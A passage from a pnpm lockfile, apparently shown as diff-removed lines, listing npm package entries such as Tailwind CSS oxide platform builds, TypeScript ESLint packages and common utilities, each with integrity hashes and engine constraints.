{node: '>= 20'} - cpu: [x64] - os: [freebsd] - - '@tailwindcss/oxide-linux-arm-gnueabihf@4.2.2': - resolution: {integrity: sha512-FPdhvsW6g06T9BWT0qTwiVZYE2WIFo2dY5aCSpjG/S/u1tby+wXoslXS0kl3/KXnULlLr1E3NPRRw0g7t2kgaQ==} - engines: {node: '>= 20'} - cpu: [arm] - os: [linux] - - '@tailwindcss/oxide-linux-arm64-gnu@4.2.2': - resolution: {integrity: sha512-4og1V+ftEPXGttOO7eCmW7VICmzzJWgMx+QXAJRAhjrSjumCwWqMfkDrNu1LXEQzNAwz28NCUpucgQPrR4S2yw==} - engines: {node: '>= 20'} - cpu: [arm64] - os: [linux] - libc: [glibc] - - '@tailwindcss/oxide-linux-arm64-musl@4.2.2': - resolution: {integrity: sha512-oCfG/mS+/+XRlwNjnsNLVwnMWYH7tn/kYPsNPh+JSOMlnt93mYNCKHYzylRhI51X+TbR+ufNhhKKzm6QkqX8ag==} - engines: {node: '>= 20'} - cpu: [arm64] - os: [linux] - libc: [musl] - - '@tailwindcss/oxide-linux-x64-gnu@4.2.2': - resolution: {integrity: sha512-rTAGAkDgqbXHNp/xW0iugLVmX62wOp2PoE39BTCGKjv3Iocf6AFbRP/wZT/kuCxC9QBh9Pu8XPkv/zCZB2mcMg==} - engines: {node: '>= 20'} - cpu: [x64] - os: [linux] - libc: [glibc] - - '@tailwindcss/oxide-linux-x64-musl@4.2.2': - resolution: {integrity: sha512-XW3t3qwbIwiSyRCggeO2zxe3KWaEbM0/kW9e8+0XpBgyKU4ATYzcVSMKteZJ1iukJ3HgHBjbg9P5YPRCVUxlnQ==} - engines: {node: '>= 20'} - cpu: [x64] - os: [linux] - libc: [musl] - - '@tailwindcss/oxide-wasm32-wasi@4.2.2': - resolution: {integrity: sha512-eKSztKsmEsn1O5lJ4ZAfyn41NfG7vzCg496YiGtMDV86jz1q/irhms5O0VrY6ZwTUkFy/EKG3RfWgxSI3VbZ8Q==} - engines: {node: '>=14.0.0'} - cpu: [wasm32] - bundledDependencies: - - '@napi-rs/wasm-runtime' - - '@emnapi/core' - - '@emnapi/runtime' - - '@tybys/wasm-util' - - '@emnapi/wasi-threads' - - tslib - - '@tailwindcss/oxide-win32-arm64-msvc@4.2.2': - resolution: {integrity: sha512-qPmaQM4iKu5mxpsrWZMOZRgZv1tOZpUm+zdhhQP0VhJfyGGO3aUKdbh3gDZc/dPLQwW4eSqWGrrcWNBZWUWaXQ==} - engines: {node: '>= 20'} - cpu: [arm64] - os: [win32] - - '@tailwindcss/oxide-win32-x64-msvc@4.2.2': - resolution: {integrity: sha512-1T/37VvI7WyH66b+vqHj/cLwnCxt7Qt3WFu5Q8hk65aOvlwAhs7rAp1VkulBJw/N4tMirXjVnylTR72uI0HGcA==} - engines: {node: '>= 20'} - cpu: [x64] - os: [win32] - - '@tailwindcss/oxide@4.2.2': - resolution: {integrity: sha512-qEUA07+E5kehxYp9BVMpq9E8vnJuBHfJEC0vPC5e7iL/hw7HR61aDKoVoKzrG+QKp56vhNZe4qwkRmMC0zDLvg==} - engines: {node: '>= 20'} - - '@tailwindcss/postcss@4.2.2': - resolution: {integrity: sha512-n4goKQbW8RVXIbNKRB/45LzyUqN451deQK0nzIeauVEqjlI49slUlgKYJM2QyUzap/PcpnS7kzSUmPb1sCRvYQ==} - - '@tailwindcss/vite@4.2.2': - resolution: {integrity: sha512-mEiF5HO1QqCLXoNEfXVA1Tzo+cYsrqV7w9Juj2wdUFyW07JRenqMG225MvPwr3ZD9N1bFQj46X7r33iHxLUW0w==} - peerDependencies: - vite: ^5.2.0 || ^6 || ^7 || ^8 - - '@trysound/sax@0.2.0': - resolution: {integrity: sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==} - engines: {node: '>=10.13.0'} - - '@types/acorn@4.0.6': - resolution: {integrity: sha512-veQTnWP+1D/xbxVrPC3zHnCZRjSrKfhbMUlEA43iMZLu7EsnTtkJklIuwrCPbOi8YkvDQAiW05VQQFvvz9oieQ==} - - '@types/cookie@0.6.0': - resolution: {integrity: sha512-4Kh9a6B2bQciAhf7FSuMRRkUWecJgJu9nPnx3yzpsfXX/c50REIqpHY4C82bXP90qrLtXtkDxTZosYO3UpOwlA==} - - '@types/debug@4.1.12': - resolution: {integrity: sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==} - - '@types/estree-jsx@1.0.5': - resolution: {integrity: sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==} - - '@types/estree@1.0.8': - resolution: {integrity: sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==} - - '@types/hast@2.3.10': - resolution: {integrity: sha512-McWspRw8xx8J9HurkVBfYj0xKoE25tOFlHGdx4MJ5xORQrMGZNqJhVQWaIbm6Oyla5kYOXtDiopzKRJzEOkwJw==} - - '@types/js-yaml@4.0.9': - resolution: {integrity: sha512-k4MGaQl5TGo/iipqb2UDG2UwjXziSWkh0uysQelTlJpX1qGlpUZYm8PnO4DxG1qBomtJUdYJ6qR6xdIah10JLg==} - - '@types/json-schema@7.0.15': - resolution: {integrity: sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==} - - '@types/mdast@3.0.15': - resolution: {integrity: sha512-LnwD+mUEfxWMa1QpDraczIn6k0Ee3SMicuYSSzS6ZYl2gKS09EClnJYGd8Du6rfc5r/GZEk5o1mRb8TaTj03sQ==} - - '@types/mdx@2.0.13': - resolution: {integrity: sha512-+OWZQfAYyio6YkJb3HLxDrvnx6SWWDbC0zVPfBRzUk0/nqoDyf6dNxQi3eArPe8rJ473nobTMQ/8Zk+LxJ+Yuw==} - - '@types/ms@2.1.0': - resolution: {integrity: sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==} - - '@types/node@25.3.2': - resolution: {integrity: sha512-RpV6r/ij22zRRdyBPcxDeKAzH43phWVKEjL2iksqo1Vz3CuBUrgmPpPhALKiRfU7OMCmeeO9vECBMsV0hMTG8Q==} - - '@types/prop-types@15.7.15': - resolution: {integrity: sha512-F6bEyamV9jKGAFBEmlQnesRPGOQqS2+Uwi0Em15xenOxHaf2hv6L8YCVn3rPdPJOiJfPiCnLIRyvwVaqMY3MIw==} - - '@types/react-dom@18.3.7': - resolution: {integrity: sha512-MEe3UeoENYVFXzoXEWsvcpg6ZvlrFNlOQ7EOsvhI3CfAXwzPfO8Qwuxd40nepsYKqyyVQnTdEfv68q91yLcKrQ==} - peerDependencies: - '@types/react': ^18.0.0 - - '@types/react@18.3.28': - resolution: {integrity: sha512-z9VXpC7MWrhfWipitjNdgCauoMLRdIILQsAEV+ZesIzBq/oUlxk0m3ApZuMFCXdnS4U7KrI+l3WRUEGQ8K1QKw==} - - '@types/resolve@1.20.2': - resolution: {integrity: sha512-60BCwRFOZCQhDncwQdxxeOEEkbc5dIMccYLwbxsS4TUNeVECQ/pBJ0j09mrHOl/JJvpRPGwO9SvE4nR2Nb/a4Q==} - - '@types/semver@7.7.1': - resolution: {integrity: sha512-FmgJfu+MOcQ370SD0ev7EI8TlCAfKYU+B4m5T3yXc1CiRN94g/SZPtsCkk506aUDtlMnFZvasDwHHUcZUEaYuA==} - - '@types/trusted-types@2.0.7': - resolution: {integrity: sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==} - - '@types/unist@2.0.11': - resolution: {integrity: sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA==} - - '@typescript-eslint/eslint-plugin@6.21.0': - resolution: {integrity: sha512-oy9+hTPCUFpngkEZUSzbf9MxI65wbKFoQYsgPdILTfbUldp5ovUuphZVe4i30emU9M/kP+T64Di0mxl7dSw3MA==} - engines: {node: ^16.0.0 || >=18.0.0} - peerDependencies: - '@typescript-eslint/parser': ^6.0.0 || ^6.0.0-alpha - eslint: ^7.0.0 || ^8.0.0 - typescript: '*' - peerDependenciesMeta: - typescript: - optional: true - - '@typescript-eslint/parser@6.21.0': - resolution: {integrity: sha512-tbsV1jPne5CkFQCgPBcDOt30ItF7aJoZL997JSF7MhGQqOeT3svWRYxiqlfA5RUdlHN6Fi+EI9bxqbdyAUZjYQ==} - engines: {node: ^16.0.0 || >=18.0.0} - peerDependencies: - eslint: ^7.0.0 || ^8.0.0 - typescript: '*' - peerDependenciesMeta: - typescript: - optional: true - - '@typescript-eslint/scope-manager@6.21.0': - resolution: {integrity: sha512-OwLUIWZJry80O99zvqXVEioyniJMa+d2GrqpUTqi5/v5D5rOrppJVBPa0yKCblcigC0/aYAzxxqQ1B+DS2RYsg==} - engines: {node: ^16.0.0 || >=18.0.0} - - '@typescript-eslint/type-utils@6.21.0': - resolution: {integrity: sha512-rZQI7wHfao8qMX3Rd3xqeYSMCL3SoiSQLBATSiVKARdFGCYSRvmViieZjqc58jKgs8Y8i9YvVVhRbHSTA4VBag==} - engines: {node: ^16.0.0 || >=18.0.0} - peerDependencies: - eslint: ^7.0.0 || ^8.0.0 - typescript: '*' - peerDependenciesMeta: - typescript: - optional: true - - '@typescript-eslint/types@6.21.0': - resolution: {integrity: sha512-1kFmZ1rOm5epu9NZEZm1kckCDGj5UJEf7P1kliH4LKu/RkwpsfqqGmY2OOcUs18lSlQBKLDYBOGxRVtrMN5lpg==} - engines: {node: ^16.0.0 || >=18.0.0} - - '@typescript-eslint/typescript-estree@6.21.0': - resolution: {integrity: sha512-6npJTkZcO+y2/kr+z0hc4HwNfrrP4kNYh57ek7yCNlrBjWQ1Y0OS7jiZTkgumrvkX5HkEKXFZkkdFNkaW2wmUQ==} - engines: {node: ^16.0.0 || >=18.0.0} - peerDependencies: - typescript: '*' - peerDependenciesMeta: - typescript: - optional: true - - '@typescript-eslint/utils@6.21.0': - resolution: {integrity: sha512-NfWVaC8HP9T8cbKQxHcsJBY5YE1O33+jpMwN45qzWWaPDZgLIbo12toGMWnmhvCpd3sIxkpDw3Wv1B3dYrbDQQ==} - engines: {node: ^16.0.0 || >=18.0.0} - peerDependencies: - eslint: ^7.0.0 || ^8.0.0 - - '@typescript-eslint/visitor-keys@6.21.0': - resolution: {integrity: sha512-JJtkDduxLi9bivAB+cYOVMtbkqdPOhZ+ZI5LC47MIRrDV4Yn2o+ZnW10Nkmr28xRpSpdJ6Sm42Hjf2+REYXm0A==} - engines: {node: ^16.0.0 || >=18.0.0} - - '@ungap/structured-clone@1.3.0': - resolution: {integrity: sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==} - - '@vanilla-extract/babel-plugin-debug-ids@1.2.2': - resolution: {integrity: sha512-MeDWGICAF9zA/OZLOKwhoRlsUW+fiMwnfuOAqFVohL31Agj7Q/RBWAYweqjHLgFBCsdnr6XIfwjJnmb2znEWxw==} - - '@vanilla-extract/css@1.18.0': - resolution: {integrity: sha512-/p0dwOjr0o8gE5BRQ5O9P0u/2DjUd6Zfga2JGmE4KaY7ZITWMszTzk4x4CPlM5cKkRr2ZGzbE6XkuPNfp9shSQ==} - - '@vanilla-extract/integration@6.5.0': - resolution: {integrity: sha512-E2YcfO8vA+vs+ua+gpvy1HRqvgWbI+MTlUpxA8FvatOvybuNcWAY0CKwQ/Gpj7rswYKtC6C7+xw33emM6/ImdQ==} - - '@vanilla-extract/private@1.0.9': - resolution: {integrity: sha512-gT2jbfZuaaCLrAxwXbRgIhGhcXbRZCG3v4TTUnjw0EJ7ArdBRxkq4msNJkbuRkCgfIK5ATmprB5t9ljvLeFDEA==} - - '@web3-storage/multipart-parser@1.0.0': - resolution: {integrity: sha512-BEO6al7BYqcnfX15W2cnGR+Q566ACXAT9UQykORCWW80lmkpWsnEob6zJS1ZVBKsSJC8+7vJkHwlp+lXG1UCdw==} - - '@zxing/text-encoding@0.9.0': - resolution: {integrity: sha512-U/4aVJ2mxI0aDNI8Uq0wEhMgY+u4CNtEb0om3+y3+niDAsoTCOB33UF0sxpzqzdqXLqmvc+vZyAt4O8pPdfkwA==} - - abort-controller@3.0.0: - resolution: {integrity: sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==} - engines: {node: '>=6.5'} - - accepts@1.3.8: - resolution: {integrity: sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==} - engines: {node: '>= 0.6'} - - acorn-jsx@5.3.2: - resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==} - peerDependencies: - acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 - - acorn@8.16.0: - resolution: {integrity: sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==} - engines: {node: '>=0.4.0'} - hasBin: true - - aggregate-error@3.1.0: - resolution: {integrity: sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==} - engines: {node: '>=8'} - - ajv@6.14.0: - resolution: {integrity: sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==} - - ansi-regex@5.0.1: - resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} - engines: {node: '>=8'} - - ansi-regex@6.2.2: - resolution: {integrity: sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==} - engines: {node: '>=12'} - - ansi-styles@4.3.0: - resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} - engines: {node: '>=8'} - - ansi-styles@6.2.3: - resolution: {integrity: sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==} - engines: {node: '>=12'} - - anymatch@3.1.3: - resolution: {integrity: sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==} - engines: {node: '>= 8'} - - arg@5.0.2: - resolution: {integrity: sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==} - - argparse@2.0.1: - resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} - - aria-hidden@1.2.6: - resolution: {integrity: sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA==} - engines: {node: '>=10'} - - array-buffer-byte-length@1.0.2: - resolution: {integrity: sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==} - engines: {node: '>= 0.4'} - - array-flatten@1.1.1: - resolution: {integrity: sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==} - - array-includes@3.1.9: - resolution: {integrity: sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==} - engines: {node: '>= 0.4'} - - array-union@2.1.0: - resolution: {integrity: sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==} - engines: {node: '>=8'} - - array.prototype.findlast@1.2.5: - resolution: {integrity: sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==} - engines: {node: '>= 0.4'} - - array.prototype.flat@1.3.3: - resolution: {integrity: sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==} - engines: {node: '>= 0.4'} - - array.prototype.flatmap@1.3.3: - resolution: {integrity: sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==} - engines: {node: '>= 0.4'} - - array.prototype.tosorted@1.1.4: - resolution: {integrity: sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==} - engines: {node: '>= 0.4'} - - arraybuffer.prototype.slice@1.0.4: - resolution: {integrity: sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==} - engines: {node: '>= 0.4'} - - astring@1.9.0: - resolution: {integrity: sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg==} - hasBin: true - - async-function@1.0.0: - resolution: {integrity: sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==} - engines: {node: '>= 0.4'} - - autoprefixer@10.4.27: - resolution: {integrity: sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA==} - engines: {node: ^10 || ^12 || >=14} - hasBin: true - peerDependencies: - postcss: ^8.1.0 - - available-typed-arrays@1.0.7: - resolution: {integrity: sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==} - engines: {node: '>= 0.4'} - - bail@2.0.2: - resolution: {integrity: sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==} - - balanced-match@1.0.2: - resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} - - base64-js@1.5.1: - resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==} - - baseline-browser-mapping@2.10.0: - resolution: {integrity: sha512-lIyg0szRfYbiy67j9KN8IyeD7q7hcmqnJ1ddWmNt19ItGpNN64mnllmxUNFIOdOm6by97jlL6wfpTTJrmnjWAA==} - engines: {node: '>=6.0.0'} - hasBin: true - - basic-auth@2.0.1: - resolution: {integrity: sha512-NF+epuEdnUYVlGuhaxbbq+dvJttwLnGY+YixlXlME5KpQ5W3CnXA5cVTneY3SPbPDRkcjMbifrwmFYcClgOZeg==} - engines: {node: '>= 0.8'} - - binary-extensions@2.3.0: - resolution: {integrity: sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==} - engines: {node: '>=8'} - - bl@4.1.0: - resolution: {integrity: sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==} - - body-parser@1.20.4: - resolution: {integrity: sha512-ZTgYYLMOXY9qKU/57FAo8F+HA2dGX7bqGc71txDRC1rS4frdFI5R7NhluHxH6M0YItAP0sHB4uqAOcYKxO6uGA==} - engines: {node: '>= 0.8', npm: 1.2.8000 || >= 1.4.16} - - boolbase@1.0.0: - resolution: {integrity: sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==} - - brace-expansion@1.1.12: - resolution: {integrity: sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==} - - brace-expansion@2.0.2: - resolution: {integrity: sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==} - - braces@3.0.3: - resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} - engines: {node: '>=8'} - - browserify-zlib@0.1.4: - resolution: {integrity: sha512-19OEpq7vWgsH6WkvkBJQDFvJS1uPcbFOQ4v9CU839dO+ZZXUZO6XpE6hNCqvlIIj+4fZvRiJ6DsAQ382GwiyTQ==} - - browserslist@4.28.1: - resolution: {integrity: sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==} - engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} - hasBin: true - - buffer-from@1.1.2: - resolution: {integrity: sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==} - - buffer@5.7.1: - resolution: {integrity: sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==} - - bytes@3.1.2: - resolution: {integrity: sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==} - engines: {node: '>= 0.8'} - - cac@6.7.14: - resolution: {integrity: sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==} - engines: {node: '>=8'} - - cacache@17.1.4: - resolution: {integrity: sha512-/aJwG2l3ZMJ1xNAnqbMpA40of9dj/pIH3QfiuQSqjfPJF747VR0J/bHn+/KdNnHKc6XQcWt/AfRSBft82W1d2A==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - call-bind-apply-helpers@1.0.2: - resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==} - engines: {node: '>= 0.4'} - - call-bind@1.0.8: - resolution: {integrity: sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==} - engines: {node: '>= 0.4'} - - call-bound@1.0.4: - resolution: {integrity: sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==} - engines: {node: '>= 0.4'} - - callsites@3.1.0: - resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} - engines: {node: '>=6'} - - caniuse-api@3.0.0: - resolution: {integrity: sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==} - - caniuse-lite@1.0.30001774: - resolution: {integrity: sha512-DDdwPGz99nmIEv216hKSgLD+D4ikHQHjBC/seF98N9CPqRX4M5mSxT9eTV6oyisnJcuzxtZy4n17yKKQYmYQOA==} - - ccount@2.0.1: - resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==} - - chalk@4.1.2: - resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} - engines: {node: '>=10'} - - character-entities-html4@2.1.0: - resolution: {integrity: sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==} - - character-entities-legacy@3.0.0: - resolution: {integrity: sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==} - - character-entities@2.0.2: - resolution: {integrity: sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==} - - character-reference-invalid@2.0.1: - resolution: {integrity: sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==} - - chokidar@3.6.0: - resolution: {integrity: sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==} - engines: {node: '>= 8.10.0'} - - chownr@1.1.4: - resolution: {integrity: sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==} - - chownr@2.0.0: - resolution: {integrity: sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==} - engines: {node: '>=10'} - - class-variance-authority@0.7.1: - resolution: {integrity: sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==} - - clean-stack@2.2.0: - resolution: {integrity: sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==} - engines: {node: '>=6'} - - cli-cursor@3.1.0: - resolution: {integrity: sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==} - engines: {node: '>=8'} - - cli-spinners@2.9.2: - resolution: {integrity: sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==} - engines: {node: '>=6'} - - clone@1.0.4: - resolution: {integrity: sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==} - engines: {node: '>=0.8'} - - clsx@2.1.1: - resolution: {integrity: sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==} - engines: {node: '>=6'} - - cmdk@1.1.1: - resolution: {integrity: sha512-Vsv7kFaXm+ptHDMZ7izaRsP70GgrW9NBNGswt9OZaVBLlE0SNpDq8eu/VGXyF9r7M0azK3Wy7OlYXsuyYLFzHg==} - peerDependencies: - react: ^18 || ^19 || ^19.0.0-rc - react-dom: ^18 || ^19 || ^19.0.0-rc - - color-convert@2.0.1: - resolution: {integrity: 